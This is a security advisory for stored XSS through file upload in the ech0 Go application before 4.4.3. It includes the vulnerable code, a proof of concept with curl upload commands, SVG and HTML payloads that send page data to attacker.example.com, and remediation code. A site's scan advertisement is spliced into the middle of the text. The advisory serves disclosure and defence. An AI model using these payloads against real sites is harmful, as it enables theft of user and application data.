| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| github.com/lin-snow/ech0 | < 4.4.3mọi phiên bản | 4.4.3 |
The file upload endpoint validates Content-Type using only the client-supplied multipart header, with no server-side content inspection or file extension validation. Combined with an unauthenticated static file server that determines Content-Type from file extension, this allows an admin to upload HTML/SVG files containing JavaScript that execute in the application's origin when visited by any user. Additionally, image/svg+xml is in the default allowed types, enabling stored XSS via SVG without any Content-Type spoofing.
The upload handler at internal/service/file/file.go:85-87 validates file type using only the multipart Content-Type header:
contentType := file.Header.Get("Content-Type") // client-controlled
if !isAllowedType(contentType, config.Config().Upload.AllowedTypes) {
return commonModel.FileDto{}, errors.New(commonModel.FILE_TYPE_NOT_ALLOWED)
}
isAllowedType at file.go:836-843 performs exact string matching — no magic byte detection, no extension validation:
func isAllowedType(contentType string, allowedTypes []string) bool {
for _, allowed := range allowedTypes {
if contentType == allowed {
return true
}
}
return false
}
The original file extension is preserved in the storage key by RandomKeyGenerator at internal/storage/keygen.go:41:
ext := strings.ToLower(filepath.Ext(strings.TrimSpace(originalFilename)))
All locally stored files are served publicly without authentication at internal/router/modules.go:51:
ctx.Engine.Static("api/files", root)
This gin.Static call is registered directly on the engine, outside any authentication middleware group. Go's http.ServeFile (used internally by gin.Static) determines the response Content-Type using mime.TypeByExtension, so .html files are served as text/html and .svg files as image/svg+xml.
No X-Content-Type-Options: nosniff or Content-Security-Policy headers are set (verified in internal/router/middleware.go).
Variant 1 — SVG XSS (no spoofing needed): image/svg+xml is in the default AllowedTypes at internal/config/config.go:241. SVG files can contain tags and event handlers. The VireFS schema routes to (). Uploaded SVGs are publicly accessible at and JavaScript within them executes in the application's origin.
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phí<script>.svgimages/internal/storage/schema.go:10/api/files/images/<key>.svgVariant 2 — Content-Type spoofing: Upload an .html file with a forged multipart Content-Type: image/jpeg. The allowlist check passes (image/jpeg is allowed). The .html extension is preserved. The VireFS schema routes unknown extensions to files/ (schema.go:14). The file is served at /api/files/files/<key>.html as text/html.
Variant 1 — SVG XSS (simplest, default config):
# 1. Create SVG with embedded JavaScript
cat > evil.svg << 'SVGEOF'
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<script>
// Steal cookies and redirect to attacker
fetch('/api/echo/page')
.then(r => r.json())
.then(d => {
new Image().src = 'https://attacker.example.com/collect?data=' + btoa(JSON.stringify(d));
});
</script>
<circle cx="50" cy="50" r="40" fill="red"/>
</svg>
SVGEOF
# 2. Upload as admin (image/svg+xml is default-allowed, no spoofing needed)
curl -X POST http://target:1024/api/files/upload \
-H 'Authorization: Bearer <admin-jwt>' \
-F '[email protected];type=image/svg+xml' \
-F 'category=image' \
-F 'storage_type=local'
# Response includes the storage key, e.g.: images/<uid>_<ts>_<rand>.svg
# 3. Access without authentication — JavaScript executes in application origin:
# GET http://target:1024/api/files/images/<uid>_<ts>_<rand>.svg
Variant 2 — Content-Type bypass with HTML:
# 1. Create HTML with JavaScript
cat > evil.html << 'HTMLEOF'
<html><body>
<script>
document.write('<h1>XSS in ' + document.domain + '</h1>');
// Exfiltrate data from same-origin API
fetch('/api/echo/page').then(r=>r.json()).then(d=>{
new Image().src='https://attacker.example.com/?d='+btoa(JSON.stringify(d));
});
</script>
</body></html>
HTMLEOF
# 2. Upload with spoofed Content-Type
curl -X POST http://target:1024/api/files/upload \
-H 'Authorization: Bearer <admin-jwt>' \
-F '[email protected];type=image/jpeg' \
-F 'category=image' \
-F 'storage_type=local'
# 3. Access without authentication — renders as text/html:
# GET http://target:1024/api/files/files/<uid>_<ts>_<rand>.html
/api/echo/page) and exfiltrate application data.The admin-required upload limits initial access, but the persistent nature of the stored XSS and the unauthenticated static serving create a meaningful attack surface, particularly in multi-admin deployments or after admin account compromise.
1. Validate Content-Type server-side using magic bytes (internal/service/file/file.go):
import "net/http"
// Replace client-controlled Content-Type with server-detected type
func detectContentType(file multipart.File) (string, error) {
buf := make([]byte, 512)
n, err := file.Read(buf)
if err != nil && err != io.EOF {
return "", err
}
if _, err := file.Seek(0, io.SeekStart); err != nil {
return "", err
}
return http.DetectContentType(buf[:n]), nil
}
2. Remove image/svg+xml from default AllowedTypes or sanitize SVGs to strip <script> tags and event handlers before storage.
3. Add security headers in internal/router/middleware.go:
func SecurityHeaders() gin.HandlerFunc {
return func(c *gin.Context) {
c.Header("X-Content-Type-Options", "nosniff")
c.Header("Content-Security-Policy", "default-src 'self'; script-src 'self'")
c.Next()
}
}
4. Serve uploaded files with Content-Disposition: attachment or from a separate origin/subdomain to isolate them from the application's cookie scope.